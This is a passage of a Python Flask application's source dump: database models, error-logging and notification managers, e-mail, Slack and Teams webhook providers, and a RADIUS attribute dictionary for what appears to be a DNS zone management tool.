35 |     def username(self):
36 |         return self.__username
37 | 
38 |     @username.setter
39 |     def username(self, value):
40 |         self.__username = value
41 | 


--------------------------------------------------------------------------------
/app/lib/log/manager.py:
--------------------------------------------------------------------------------
 1 | from sqlalchemy import asc, desc
 2 | from app.lib.models.logging import LoggingErrors
 3 | from app.lib.log.instances.log_error import LogError
 4 | 
 5 | 
 6 | class LoggingManager:
 7 |     def __init__(self, users):
 8 |         self.__users = users
 9 |         self.__cache_users = {0: 'Anonymous'}
10 | 
11 |     def __get_errors(self, id=None, user_id=None, order_by=None, sort_order=None, page=None, per_page=None):
12 |         query = LoggingErrors.query
13 | 
14 |         if id is not None:
15 |             query = query.filter(LoggingErrors.id == id)
16 | 
17 |         if user_id is not None:
18 |             query = query.filter(LoggingErrors.user_id == user_id)
19 | 
20 |         order = None
21 |         if order_by is not None:
22 |             if order_by == 'id':
23 |                 order = asc(LoggingErrors.id) if sort_order == 'asc' else desc(LoggingErrors.id)
24 | 
25 |         if order is None:
26 |             order = asc(LoggingErrors.id)
27 | 
28 |         query = query.order_by(order)
29 | 
30 |         if (page is not None) and (per_page is not None):
31 |             results = query.paginate(page, per_page, False)
32 |         else:
33 |             results = query.all()
34 | 
35 |         return results
36 | 
37 |     def __load_error(self, item):
38 |         log = LogError(item)
39 |         log.username = self.__cache_users[item.user_id]
40 |         return log
41 | 
42 |     def log_error(self, user_id, description, details):
43 |         item = LogError(LoggingErrors())
44 |         item.user_id = user_id
45 |         item.description = description
46 |         item.details = details
47 |         item.save()
48 | 
49 |         return item
50 | 
51 |     def view_errors(self, page, per_page):
52 |         records = self.__get_errors(order_by='id', sort_order='desc', page=page, per_page=per_page)
53 |         for record in records.items:
54 |             if record.user_id not in self.__cache_users:
55 |                 self.__cache_users[record.user_id] = self.__users.get_user(record.user_id).username
56 |             record.username = self.__cache_users[record.user_id]
57 |         return records
58 | 


--------------------------------------------------------------------------------
/app/lib/models/aliases.py:
--------------------------------------------------------------------------------
 1 | from app import db
 2 | 
 3 | 
 4 | class AliasModel(db.Model):
 5 |     __tablename__ = 'aliases'
 6 |     id = db.Column(db.Integer, primary_key=True)
 7 |     user_id = db.Column(db.Integer, nullable=True, index=True, default=0)
 8 |     ip = db.Column(db.String(255), nullable=True, default='', index=True)
 9 |     name = db.Column(db.String(255), nullable=True, default='', index=True)
10 | 
11 |     # Required in all models.
12 |     created_at = db.Column(db.DateTime, nullable=True)
13 |     updated_at = db.Column(db.DateTime, nullable=True)
14 | 


--------------------------------------------------------------------------------
/app/lib/models/api.py:
--------------------------------------------------------------------------------
 1 | from app import db
 2 | 
 3 | 
 4 | class ApiKeyModel(db.Model):
 5 |     __tablename__ = 'api_keys'
 6 |     id = db.Column(db.Integer, primary_key=True)
 7 |     user_id = db.Column(db.Integer, nullable=True, index=True, default=0)
 8 |     name = db.Column(db.String(255), default='', nullable=True)
 9 |     apikey = db.Column(db.String(255), nullable=True, index=True, default='')
10 |     enabled = db.Column(db.Boolean, default=True, index=True)
11 | 
12 |     # Required in all models.
13 |     created_at = db.Column(db.DateTime, nullable=True)
14 |     updated_at = db.Column(db.DateTime, nullable=True)
15 | 


--------------------------------------------------------------------------------
/app/lib/models/config.py:
--------------------------------------------------------------------------------
1 | from app import db
2 | 
3 | 
4 | class ConfigModel(db.Model):
5 |     __tablename__ = 'config'
6 |     name = db.Column(db.String(128), default='', primary_key=True)
7 |     value = db.Column(db.Text, default='')
8 | 


--------------------------------------------------------------------------------
/app/lib/models/logging.py:
--------------------------------------------------------------------------------
 1 | from app import db
 2 | 
 3 | 
 4 | class LoggingErrors(db.Model):
 5 |     __tablename__ = 'logging_errors'
 6 |     id = db.Column(db.Integer, primary_key=True)
 7 |     user_id = db.Column(db.Integer, nullable=True, index=True, default=0)
 8 |     description = db.Column(db.Text, nullable=True)
 9 |     details = db.Column(db.Text, nullable=True)
10 | 
11 |     # Required in all models.
12 |     created_at = db.Column(db.DateTime, nullable=True)
13 |     updated_at = db.Column(db.DateTime, nullable=True)
14 | 


--------------------------------------------------------------------------------
/app/lib/models/notifications.py:
--------------------------------------------------------------------------------
 1 | from app import db
 2 | 
 3 | 
 4 | class NotificationTypeModel(db.Model):
 5 |     __tablename__ = 'notification_types'
 6 |     id = db.Column(db.Integer, primary_key=True)
 7 |     name = db.Column(db.String(255), nullable=True, default='')
 8 |     description = db.Column(db.String(255), nullable=True, default='')
 9 | 
10 |     # Required in all models.
11 |     created_at = db.Column(db.DateTime, nullable=True)
12 |     updated_at = db.Column(db.DateTime, nullable=True)
13 | 
14 | 
15 | class NotificationSubscriptionModel(db.Model):
16 |     __tablename__ = 'notification_subscriptions'
17 |     id = db.Column(db.Integer, primary_key=True)
18 |     zone_id = db.Column(db.Integer, nullable=True, index=True, default=0)
19 |     type_id = db.Column(db.Integer, nullable=True, index=True, default=0)
20 |     enabled = db.Column(db.Boolean, default=True, index=True)
21 |     data = db.Column(db.Text, nullable=True)
22 |     last_query_log_id = db.Column(db.Integer, nullable=True, index=True, default=0)
23 | 
24 |     # Required in all models.
25 |     created_at = db.Column(db.DateTime, nullable=True)
26 |     updated_at = db.Column(db.DateTime, nullable=True)
27 | 
28 | 
29 | class NotificationLogModel(db.Model):
30 |     __tablename__ = 'notification_logs'
31 |     id = db.Column(db.Integer, primary_key=True)
32 |     subscription_id = db.Column(db.Integer, nullable=True, index=True, default=0)
33 |     sent_at = db.Column(db.DateTime, nullable=True)
34 | 
35 |     # Required in all models.
36 |     created_at = db.Column(db.DateTime, nullable=True)
37 |     updated_at = db.Column(db.DateTime, nullable=True)
38 | 
39 | 
40 | class WebPushSubscriptionModel(db.Model):
41 |     __tablename__ = 'webpush_subscriptions'
42 |     id = db.Column(db.Integer, primary_key=True)
43 |     user_id = db.Column(db.Integer, default=0, index=True, nullable=True)
44 |     endpoint = db.Column(db.String(255), default='', index=False, nullable=True)
45 |     key = db.Column(db.String(255), default='', index=False, nullable=True)
46 |     authsecret = db.Column(db.String(255), default='', index=False, nullable=True)
47 | 
48 |     # Required in all models.
49 |     created_at = db.Column(db.DateTime, nullable=True)
50 |     updated_at = db.Column(db.DateTime, nullable=True)
51 | 


--------------------------------------------------------------------------------
/app/lib/models/tags.py:
--------------------------------------------------------------------------------
 1 | from app import db
 2 | 
 3 | 
 4 | class TagModel(db.Model):
 5 |     __tablename__ = 'tags'
 6 |     id = db.Column(db.Integer, primary_key=True)
 7 |     user_id = db.Column(db.Integer, nullable=True, index=True, default=0)
 8 |     name = db.Column(db.String(255), nullable=True, default='', index=True)
 9 | 
10 |     # Required in all models.
11 |     created_at = db.Column(db.DateTime, nullable=True)
12 |     updated_at = db.Column(db.DateTime, nullable=True)
13 | 
14 | 


--------------------------------------------------------------------------------
/app/lib/models/user.py:
--------------------------------------------------------------------------------
 1 | from app import db, login
 2 | from flask_login import UserMixin
 3 | 
 4 | 
 5 | class UserModel(db.Model, UserMixin):
 6 |     __tablename__ = 'users'
 7 |     id = db.Column(db.Integer, primary_key=True)
 8 |     username = db.Column(db.String(128), nullable=False, default='', index=True, unique=True)
 9 |     password = db.Column(db.String(255), nullable=False, default='')
10 |     full_name = db.Column(db.String(255), nullable=True, default='')
11 |     email = db.Column(db.String(255), nullable=True, default='')
12 |     session_token = db.Column(db.String(255), nullable=True, index=True, default='')
13 |     admin = db.Column(db.Boolean, default=False, index=True)
14 |     active = db.Column(db.Boolean, default=True, index=True)
15 |     ldap = db.Column(db.Boolean, default=True, index=True)
16 |     otp_secret = db.Column(db.String(255), nullable=True, default='')
17 |     otp_last_used = db.Column(db.String(255), nullable=True, default='')
18 |     auth_type_id = db.Column(db.Integer, nullable=True, index=True, default=0)
19 |     created_at = db.Column(db.DateTime, nullable=True)
20 | 
21 |     def get_id(self):
22 |         return str(self.session_token)
23 | 
24 |     def has_2fa(self):
25 |         return False if self.otp_secret is None else len(self.otp_secret) > 0
26 | 
27 | 
28 | class AuthTypeModel(db.Model):
29 |     __tablename__ = 'auth_types'
30 |     id = db.Column(db.Integer, primary_key=True)
31 |     name = db.Column(db.String(255), nullable=True, default='', index=True)
32 | 
33 |     # Required in all models.
34 |     created_at = db.Column(db.DateTime, nullable=True)
35 |     updated_at = db.Column(db.DateTime, nullable=True)
36 | 
37 | 
38 | @login.user_loader
39 | def load_user(session_token):
40 |     return UserModel.query.filter_by(session_token=session_token).first()
41 | 


--------------------------------------------------------------------------------
/app/lib/notifications/instances/notification_log.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class NotificationLog(BaseInstance):
 5 |     @property
 6 |     def subscription_id(self):
 7 |         return self.item.subscription_id
 8 | 
 9 |     @subscription_id.setter
10 |     def subscription_id(self, value):
11 |         self.item.subscription_id = value
12 | 
13 |     @property
14 |     def sent_at(self):
15 |         return self.item.sent_at
16 | 
17 |     @sent_at.setter
18 |     def sent_at(self, value):
19 |         self.item.sent_at = value
20 | 


--------------------------------------------------------------------------------
/app/lib/notifications/instances/notification_subscription.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | import json
 3 | from json.decoder import JSONDecodeError
 4 | 
 5 | 
 6 | class NotificationSubscription(BaseInstance):
 7 |     @property
 8 |     def zone_id(self):
 9 |         return self.item.zone_id
10 | 
11 |     @zone_id.setter
12 |     def zone_id(self, value):
13 |         self.item.zone_id = value
14 | 
15 |     @property
16 |     def type_id(self):
17 |         return self.item.type_id
18 | 
19 |     @type_id.setter
20 |     def type_id(self, value):
21 |         self.item.type_id = value
22 | 
23 |     @property
24 |     def enabled(self):
25 |         return self.item.enabled
26 | 
27 |     @enabled.setter
28 |     def enabled(self, value):
29 |         self.item.enabled = value
30 | 
31 |     @property
32 |     def data(self):
33 |         return self.item.data
34 | 
35 |     @data.setter
36 |     def data(self, value):
37 |         value = value if isinstance(value, str) else json.dumps(value)
38 |         self.item.data = value
39 | 
40 |     @property
41 |     def last_query_log_id(self):
42 |         return self.item.last_query_log_id
43 | 
44 |     @last_query_log_id.setter
45 |     def last_query_log_id(self, value):
46 |         self.item.last_query_log_id = value
47 | 
48 |     def get_data_object(self):
49 |         try:
50 |             data = json.loads(self.data)
51 |         except JSONDecodeError:
52 |             data = self.data
53 |         return data
54 | 


--------------------------------------------------------------------------------
/app/lib/notifications/instances/notification_type.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class NotificationType(BaseInstance):
 5 |     @property
 6 |     def name(self):
 7 |         return self.item.name
 8 | 
 9 |     @name.setter
10 |     def name(self, value):
11 |         self.item.name = value
12 | 
13 |     @property
14 |     def description(self):
15 |         return self.item.description
16 | 
17 |     @description.setter
18 |     def description(self, value):
19 |         self.item.description = value
20 | 


--------------------------------------------------------------------------------
/app/lib/notifications/instances/subscriptions.py:
--------------------------------------------------------------------------------
 1 | class NotificationSubscriptionCollection:
 2 |     def __init__(self):
 3 |         self.__subscriptions = {}
 4 | 
 5 |     def add(self, name, subscription):
 6 |         self.__subscriptions[name] = subscription
 7 | 
 8 |     def get(self, name):
 9 |         return self.__subscriptions[name] if name in self.__subscriptions else None
10 | 
11 |     def is_enabled(self, name):
12 |         subscription = self.get(name)
13 |         if subscription is None:
14 |             return False
15 |         return subscription.enabled
16 | 
17 |     def has_enabled(self):
18 |         for name, subscription in self.__subscriptions.items():
19 |             if subscription.enabled:
20 |                 return True
21 |         return False
22 | 
23 |     def count(self):
24 |         return len(self.__subscriptions)
25 | 
26 |     def all(self):
27 |         return self.__subscriptions
28 | 


--------------------------------------------------------------------------------
/app/lib/notifications/instances/webpush_subscription.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
 2 | 
 3 | 
 4 | class WebPushSubscription(BaseInstance):
 5 |     @property
 6 |     def user_id(self):
 7 |         return self.item.user_id
 8 | 
 9 |     @user_id.setter
10 |     def user_id(self, value):
11 |         self.item.user_id = value
12 | 
13 |     @property
14 |     def endpoint(self):
15 |         return self.item.endpoint
16 | 
17 |     @endpoint.setter
18 |     def endpoint(self, value):
19 |         self.item.endpoint = value
20 | 
21 |     @property
22 |     def key(self):
23 |         return self.item.key
24 | 
25 |     @key.setter
26 |     def key(self, value):
27 |         self.item.key = value
28 | 
29 |     @property
30 |     def authsecret(self):
31 |         return self.item.authsecret
32 | 
33 |     @authsecret.setter
34 |     def authsecret(self, value):
35 |         self.item.authsecret = value
36 | 


--------------------------------------------------------------------------------
/app/lib/notifications/manager.py:
--------------------------------------------------------------------------------
 1 | from app.lib.notifications.managers.type_manager import NotificationTypeManager
 2 | from app.lib.notifications.managers.subscription_manager import NotificationSubscriptionManager
 3 | from app.lib.notifications.managers.log_manager import NotificationLogManager
 4 | from app.lib.notifications.managers.provider_manager import NotificationProviderManager
 5 | from app.lib.notifications.managers.webpush_manager import WebPushManager
 6 | from app.lib.notifications.instances.subscriptions import NotificationSubscriptionCollection
 7 | 
 8 | 
 9 | class NotificationManager:
10 |     def __init__(self):
11 |         self.types = NotificationTypeManager()
12 |         self.subscriptions = NotificationSubscriptionManager()
13 |         self.logs = NotificationLogManager()
14 |         self.providers = NotificationProviderManager()
15 |         self.webpush = WebPushManager()
16 | 
17 |     def save_zone_subscription(self, zone_id, type_name, enabled=None, data=None, last_query_log_id=None):
18 |         type = self.types.get(name=type_name)
19 |         if not type:
20 |             raise Exception("Coding Error: Invalid `type_name` parameter: {0}".format(type_name))
21 | 
22 |         subscription = self.subscriptions.get(zone_id=zone_id, type_id=type.id)
23 |         if not subscription:
24 |             # Create one.
25 |             subscription = self.subscriptions.create(zone_id=zone_id, type_id=type.id)
26 | 
27 |         if enabled is not None:
28 |             subscription.enabled = True if enabled else False
29 | 
30 |         if data is not None:
31 |             subscription.data = data
32 | 
33 |         if last_query_log_id is not None:
34 |             subscription.last_query_log_id = last_query_log_id
35 | 
36 |         subscription.save()
37 |         return subscription
38 | 
39 |     def get_zone_subscriptions(self, zone_id):
40 |         self.create_missing_subscriptions(zone_id)
41 | 
42 |         collection = NotificationSubscriptionCollection()
43 | 
44 |         subscriptions = self.subscriptions.all(zone_id=zone_id)
45 |         for subscription in subscriptions:
46 |             type_name = self.types.get_type_name(subscription.type_id)
47 |             if type_name is False:
48 |                 continue
49 | 
50 |             collection.add(type_name, subscription)
51 | 
52 |         return collection
53 | 
54 |     def create_missing_subscriptions(self, zone_id):
55 |         # Get all types.
56 |         types = self.types.all()
57 | 
58 |         # Find types that don't exist.
59 |         for type in types:
60 |             subscription = self.subscriptions.get(zone_id=zone_id, type_id=type.id)
61 |             if subscription:
62 |                 continue
63 | 
64 |             # Create them.
65 |             subscription = self.subscriptions.create(zone_id=zone_id, type_id=type.id)
66 |             subscription.enabled = False
67 |             subscription.data = ''
68 |             subscription.last_query_log_id = 0
69 |             subscription.save()
70 | 
71 |         return True
72 | 


--------------------------------------------------------------------------------
/app/lib/notifications/managers/log_manager.py:
--------------------------------------------------------------------------------
 1 | from app.lib.models.notifications import NotificationLogModel
 2 | from app.lib.notifications.instances.notification_log import NotificationLog
 3 | import datetime
 4 | 
 5 | 
 6 | class NotificationLogManager:
 7 |     def __get(self, id=None, subscription_id=None, sent_at=None):
 8 |         query = NotificationLogModel.query
 9 | 
10 |         if id is not None:
11 |             query = query.filter(NotificationLogModel.id == id)
12 | 
13 |         if subscription_id is not None:
14 |             query = query.filter(NotificationLogModel.subscription_id == subscription_id)
15 | 
16 |         if sent_at is not None:
17 |             query = query.filter(NotificationLogModel.sent_at == sent_at)
18 | 
19 |         return query.all()
20 | 
21 |     def __load(self, item):
22 |         return NotificationLog(item)
23 | 
24 |     def get(self, id=None, subscription_id=None):
25 |         if (id is None) and (subscription_id is None):
26 |             # At least one must be set.
27 |             return False
28 | 
29 |         results = self.__get(id=id, subscription_id=subscription_id)
30 |         return self.__load(results[0]) if len(results) > 0 else False
31 | 
32 |     def create(self):
33 |         item = NotificationLog(NotificationLogModel())
34 |         item.save()
35 |         return item
36 | 
37 |     def log(self, subscription_id):
38 |         item = self.create()
39 |         item.subscription_id = subscription_id
40 |         item.sent_at = datetime.datetime.now()
41 |         item.save()
42 |         return item
43 | 
44 |     def delete(self, id=None, subscription_id=None):
45 |         query = NotificationLogModel.query
46 | 
47 |         if id is not None:
48 |             query = query.filter(NotificationLogModel.id == id)
49 | 
50 |         if subscription_id is not None:
51 |             query = query.filter(NotificationLogModel.subscription_id == subscription_id)
52 | 
53 |         query.delete()
54 |         return True
55 | 


--------------------------------------------------------------------------------
/app/lib/notifications/managers/provider_manager.py:
--------------------------------------------------------------------------------
 1 | class NotificationProviderManager:
 2 |     def __init__(self):
 3 |         self.__providers = {}
 4 | 
 5 |     def add(self, name, provider):
 6 |         self.__providers[name] = provider
 7 | 
 8 |     def has_enabled(self):
 9 |         for name, provider in self.__providers.items():
10 |             if provider.enabled:
11 |                 return True
12 |         return False
13 | 
14 |     def get(self, name):
15 |         return self.__providers[name] if name in self.__providers else None
16 | 
17 |     def get_enabled(self):
18 |         providers = {}
19 |         for name, provider in self.__providers.items():
20 |             if provider.enabled:
21 |                 providers[name] = provider
22 |         return providers
23 | 
24 |     def all(self):
25 |         return self.__providers
26 | 


--------------------------------------------------------------------------------
/app/lib/notifications/managers/subscription_manager.py:
--------------------------------------------------------------------------------
 1 | from app.lib.models.notifications import NotificationSubscriptionModel
 2 | from app.lib.notifications.instances.notification_subscription import NotificationSubscription
 3 | 
 4 | 
 5 | class NotificationSubscriptionManager:
 6 |     def __get(self, id=None, zone_id=None, type_id=None, enabled=None):
 7 |         query = NotificationSubscriptionModel.query
 8 | 
 9 |         if id is not None:
10 |             query = query.filter(NotificationSubscriptionModel.id == id)
11 | 
12 |         if zone_id is not None:
13 |             query = query.filter(NotificationSubscriptionModel.zone_id == zone_id)
14 | 
15 |         if type_id is not None:
16 |             query = query.filter(NotificationSubscriptionModel.type_id == type_id)
17 | 
18 |         if enabled is not None:
19 |             query = query.filter(NotificationSubscriptionModel.enabled == enabled)
20 | 
21 |         return query.all()
22 | 
23 |     def __load(self, item):
24 |         return NotificationSubscription(item)
25 | 
26 |     def get(self, id=None, zone_id=None, type_id=None, enabled=None):
27 |         if (id is None) and (zone_id is None) and (type_id is None) and (enabled is None):
28 |             # Must set at least one.
29 |             return False
30 | 
31 |         results = self.__get(id=id, zone_id=zone_id, type_id=type_id, enabled=enabled)
32 |         return self.__load(results[0]) if len(results) > 0 else False
33 | 
34 |     def all(self, zone_id=None, type_id=None, enabled=None):
35 |         results = self.__get(zone_id=zone_id, type_id=type_id, enabled=enabled)
36 |         items = []
37 |         for result in results:
38 |             items.append(self.__load(result))
39 |         return items
40 | 
41 |     def create(self, zone_id=None, type_id=None):
42 |         item = NotificationSubscription(NotificationSubscriptionModel())
43 |         if zone_id is not None:
44 |             item.zone_id = zone_id
45 |         if type_id is not None:
46 |             item.type_id = type_id
47 |         item.save()
48 |         return item
49 | 


--------------------------------------------------------------------------------
/app/lib/notifications/managers/type_manager.py:
--------------------------------------------------------------------------------
 1 | from app.lib.models.notifications import NotificationTypeModel
 2 | from app.lib.notifications.instances.notification_type import NotificationType
 3 | 
 4 | 
 5 | class NotificationTypeManager:
 6 |     def __get(self, id=None, name=None, description=None):
 7 |         query = NotificationTypeModel.query
 8 | 
 9 |         if id is not None:
10 |             query = query.filter(NotificationTypeModel.id == id)
11 | 
12 |         if name is not None:
13 |             query = query.filter(NotificationTypeModel.name == name)
14 | 
15 |         if description is not None:
16 |             query = query.filter(NotificationTypeModel.description == description)
17 | 
18 |         return query.all()
19 | 
20 |     def __load(self, item):
21 |         return NotificationType(item)
22 | 
23 |     def get(self, id=None, name=None):
24 |         if (id is None) and (name is None):
25 |             # Have to define at least one.
26 |             return False
27 | 
28 |         results = self.__get(id=id, name=name)
29 |         return self.__load(results[0]) if len(results) > 0 else False
30 | 
31 |     def all(self):
32 |         results = self.__get()
33 |         items = []
34 |         for result in results:
35 |             items.append(self.__load(result))
36 |         return results
37 | 
38 |     def create(self):
39 |         item = NotificationType(NotificationTypeModel())
40 |         item.save()
41 |         return item
42 | 
43 |     def get_type_name(self, type_id):
44 |         type = self.get(id=type_id)
45 |         if not type:
46 |             return False
47 | 
48 |         return type.name
49 | 


--------------------------------------------------------------------------------
/app/lib/notifications/managers/webpush_manager.py:
--------------------------------------------------------------------------------
 1 | from app.lib.models.notifications import WebPushSubscriptionModel
 2 | from app.lib.notifications.instances.webpush_subscription import WebPushSubscription
 3 | 
 4 | 
 5 | class WebPushManager:
 6 |     def __get(self, id=None, user_id=None):
 7 |         query = WebPushSubscriptionModel.query
 8 | 
 9 |         if id is not None:
10 |             query = query.filter(WebPushSubscriptionModel.id == id)
11 | 
12 |         if user_id is not None:
13 |             query = query.filter(WebPushSubscriptionModel.user_id == user_id)
14 | 
15 |         return query.all()
16 | 
17 |     def __load(self, item):
18 |         return WebPushSubscription(item)
19 | 
20 |     def all(self, user_id=None):
21 |         results = self.__get(user_id=user_id)
22 |         items = []
23 |         for result in results:
24 |             items.append(self.__load(result))
25 |         return items
26 | 
27 |     def get(self, id=None, user_id=None):
28 |         results = self.__get(id=id, user_id=user_id)
29 |         if len(results) == 0:
30 |             return False
31 |         return self.__load(results[0])
32 | 
33 |     def register(self, user_id, endpoint, key, authsecret):
34 |         subscription = self.create()
35 |         subscription.user_id = user_id
36 |         subscription.endpoint = endpoint
37 |         subscription.key = key
38 |         subscription.authsecret = authsecret
39 |         subscription.save()
40 |         return subscription
41 | 
42 |     def create(self):
43 |         item = WebPushSubscription(WebPushSubscriptionModel())
44 |         item.save()
45 |         return item
46 | 


--------------------------------------------------------------------------------
/app/lib/notifications/providers/base.py:
--------------------------------------------------------------------------------
 1 | class BaseNotificationProvider:
 2 |     @property
 3 |     def enabled(self):
 4 |         return self.__enabled
 5 | 
 6 |     @enabled.setter
 7 |     def enabled(self, value):
 8 |         self.__enabled = value
 9 | 
10 |     @property
11 |     def title(self):
12 |         return self.__title
13 | 
14 |     @title.setter
15 |     def title(self, value):
16 |         self.__title = value
17 | 
18 |     @property
19 |     def has_settings(self):
20 |         return self.__has_settings
21 | 
22 |     @has_settings.setter
23 |     def has_settings(self, value):
24 |         self.__has_settings = value
25 | 
26 |     @property
27 |     def type_id(self):
28 |         return self.__type_id
29 | 
30 |     @type_id.setter
31 |     def type_id(self, value):
32 |         self.__type_id = value
33 | 
34 |     def __init__(self):
35 |         self.__type_id = 0
36 |         self.__enabled = False
37 |         self.__has_settings = False
38 |         self.__title = ''
39 | 
40 |     def process_cron_notification(self, subscription, subject, body, user_id, verbose=False):
41 |         raise Exception("Coding Error: process_cron_notification() not implemented.")
42 | 


--------------------------------------------------------------------------------
/app/lib/notifications/providers/email.py:
--------------------------------------------------------------------------------
 1 | from app.lib.notifications.providers.base import BaseNotificationProvider
 2 | import json
 3 | 
 4 | 
 5 | class EmailNotificationProvider(BaseNotificationProvider):
 6 |     def __init__(self, emails):
 7 |         super().__init__()
 8 | 
 9 |         self.__emails = emails
10 |         self.title = 'E-mails'
11 |         self.has_settings = True
12 | 
13 |     def send(self, recipients, subject, body):
14 |         if isinstance(recipients, str):
15 |             recipients = [recipients]
16 | 
17 |         if len(recipients) == 0:
18 |             return False
19 | 
20 |         return self.__emails.send(recipients, subject, body)
21 | 
22 |     def process_cron_notification(self, subscription, subject, body, user_id, verbose=False):
23 |         recipients = self.__get_recipients(subscription.data)
24 |         if len(recipients) == 0:
25 |             if verbose:
26 |                 print("No e-mail recipients found for zone {0}. Disabling provider.".format(subscription.zone_id))
27 | 
28 |             # Disable notification.
29 |             subscription.enabled = False
30 |             subscription.save()
31 | 
32 |             return False
33 | 
34 |         if verbose:
35 |             print("Sending notification for zone {0} to {1}".format(subscription.zone_id, ", ".join(recipients)))
36 | 
37 |         result = self.send(recipients, subject, body)
38 | 
39 |         if result:
40 |             if verbose:
41 |                 print("Notification sent! Disabling provider.")
42 | 
43 |             # Disable notification.
44 |             subscription.enabled = False
45 |             subscription.save()
46 |         else:
47 |             if verbose:
48 |                 print("Error: Could not send notification for zone {0}".format(subscription.zone_id))
49 | 
50 |         return result
51 | 
52 |     def __get_recipients(self, data):
53 |         if data is None:
54 |             return []
55 |         elif not data:
56 |             return []
57 |         elif len(data) == 0:
58 |             return []
59 | 
60 |         try:
61 |             recipients = json.loads(data)
62 |         except:
63 |             recipients = []
64 | 
65 |         return recipients
66 | 


--------------------------------------------------------------------------------
/app/lib/notifications/providers/slack.py:
--------------------------------------------------------------------------------
 1 | from app.lib.notifications.providers.base import BaseNotificationProvider
 2 | import requests
 3 | 
 4 | 
 5 | class SlackWebhookNotificationProvider(BaseNotificationProvider):
 6 |     def __init__(self):
 7 |         super().__init__()
 8 | 
 9 |         self.title = 'Slack Webhooks'
10 |         self.has_settings = True
11 | 
12 |     def process_cron_notification(self, subscription, subject, body, user_id, verbose=False):
13 |         url = subscription.data.strip()
14 |         if len(url) == 0:
15 |             if verbose:
16 |                 print("No URL set for Slack Webhook for zone {0}. Disabling provider.".format(subscription.zone_id))
17 | 
18 |             # Disable notification.
19 |             subscription.enabled = False
20 |             subscription.save()
21 | 
22 |             return False
23 | 
24 |         result = self.__send(url, "{0}: {1}".format(subject, body), verbose=verbose)
25 |         if result:
26 |             if verbose:
27 |                 print("Slack notification for zone {0} sent.".format(subscription.zone_id))
28 | 
29 |             # Disable.
30 |             subscription.enabled = False
31 |             subscription.save()
32 |         else:
33 |             if verbose:
34 |                 print("Could not send Slack Webhook notification for zone {0}".format(subscription.zone_id))
35 | 
36 |         return result
37 | 
38 |     def __send(self, url, text, verbose=False):
39 |         response = requests.post(url, json={'text': text})
40 |         if response.status_code == 200:
41 |             return True
42 | 
43 |         if verbose:
44 |             print("Error: Slack Webhook response is {0}: {1}".format(response.status_code, response.content.decode()))
45 |         return False
46 | 


--------------------------------------------------------------------------------
/app/lib/notifications/providers/teams.py:
--------------------------------------------------------------------------------
 1 | from app.lib.notifications.providers.base import BaseNotificationProvider
 2 | import requests
 3 | 
 4 | 
 5 | class TeamsWebhookNotificationProvider(BaseNotificationProvider):
 6 |     def __init__(self):
 7 |         super().__init__()
 8 | 
 9 |         self.title = 'Teams Webhooks'
10 |         self.has_settings = True
11 | 
12 |     def process_cron_notification(self, subscription, subject, body, user_id, verbose=False):
13 |         url = subscription.data.strip()
14 |         if len(url) == 0:
15 |             if verbose:
16 |                 print("No URL set for Teams Webhook for zone {0}. Disabling provider.".format(subscription.zone_id))
17 | 
18 |             # Disable notification.
19 |             subscription.enabled = False
20 |             subscription.save()
21 | 
22 |             return False
23 | 
24 |         result = self.__send(url, "{0}: {1}".format(subject, body), verbose=verbose)
25 |         if result:
26 |             if verbose:
27 |                 print("Teams notification for zone {0} sent.".format(subscription.zone_id))
28 | 
29 |             # Disable.
30 |             subscription.enabled = False
31 |             subscription.save()
32 |         else:
33 |             if verbose:
34 |                 print("Could not send Teams Webhook notification for zone {0}".format(subscription.zone_id))
35 | 
36 |         return result
37 | 
38 |     def __send(self, url, text, verbose=False):
39 |         response = requests.post(url, json={'text': text})
40 |         if response.status_code == 200:
41 |             return True
42 | 
43 |         if verbose:
44 |             print("Error: Teams Webhook response is {0}: {1}".format(response.status_code, response.content.decode()))
45 |         return False
46 | 


--------------------------------------------------------------------------------
/app/lib/users/auth/radius.dict:
--------------------------------------------------------------------------------
 1 | ATTRIBUTE       User-Name                               1       string
 2 | ATTRIBUTE       User-Password                           2       string encrypt=1
 3 | ATTRIBUTE       CHAP-Password                           3       octets
 4 | ATTRIBUTE       NAS-IP-Address                          4       ipaddr
 5 | ATTRIBUTE       NAS-Port                                5       integer
 6 | ATTRIBUTE       Service-Type                            6       integer
 7 | ATTRIBUTE       Framed-Protocol                         7       integer
 8 | ATTRIBUTE       Framed-IP-Address                       8       ipaddr
 9 | ATTRIBUTE       Framed-IP-Netmask                       9       ipaddr
10 | ATTRIBUTE       Framed-Routing                          10      integer
11 | ATTRIBUTE       Filter-Id                               11      string
12 | ATTRIBUTE       Framed-MTU                              12      integer
13 | ATTRIBUTE       Framed-Compression                      13      integer
14 | ATTRIBUTE       Login-IP-Host                           14      ipaddr
15 | ATTRIBUTE       Login-Service                           15      integer
16 | ATTRIBUTE       Login-TCP-Port                          16      integer
17 | ATTRIBUTE       Reply-Message                           18      string
18 | ATTRIBUTE       Callback-Number                         19      string
19 | ATTRIBUTE       Callback-Id                             20      string
20 | ATTRIBUTE       Framed-Route                            22      string
21 | ATTRIBUTE       Framed-IPX-Network                      23      ipaddr
22 | ATTRIBUTE       State                                   24      octets
23 | ATTRIBUTE       Class                                   25      octets
24 | ATTRIBUTE       Session-Timeout                         27      integer
25 | ATTRIBUTE       Idle-Timeout                            28      integer
26 | ATTRIBUTE       Termination-Action                      29      integer
27 | ATTRIBUTE       Called-Station-Id                       30      string
28 | ATTRIBUTE       Calling-Station-Id                      31      string
29 | ATTRIBUTE       NAS-Identifier                          32      string
30 | ATTRIBUTE       Proxy-State                             33      octets
31 | ATTRIBUTE       Login-LAT-Service                       34      string
32 | ATTRIBUTE       Login-LAT-Node                          35      string
33 | ATTRIBUTE       Login-LAT-Group                         36      octets
34 | ATTRIBUTE       Framed-AppleTalk-Link                   37      integer
35 | ATTRIBUTE       Framed-AppleTalk-Network                38      integer
36 | ATTRIBUTE       Framed-AppleTalk-Zone                   39      string
37 | ATTRIBUTE       CHAP-Challenge                          60      octets
38 | ATTRIBUTE       NAS-Port-Type                           61      integer
39 | ATTRIBUTE       Port-Limit                              62      integer
40 | ATTRIBUTE       Login-LAT-Port                          63      string


--------------------------------------------------------------------------------
/app/lib/users/instances/authtype.py:
--------------------------------------------------------------------------------
 1 | from app.lib.base.instance.base_instance import BaseInstance
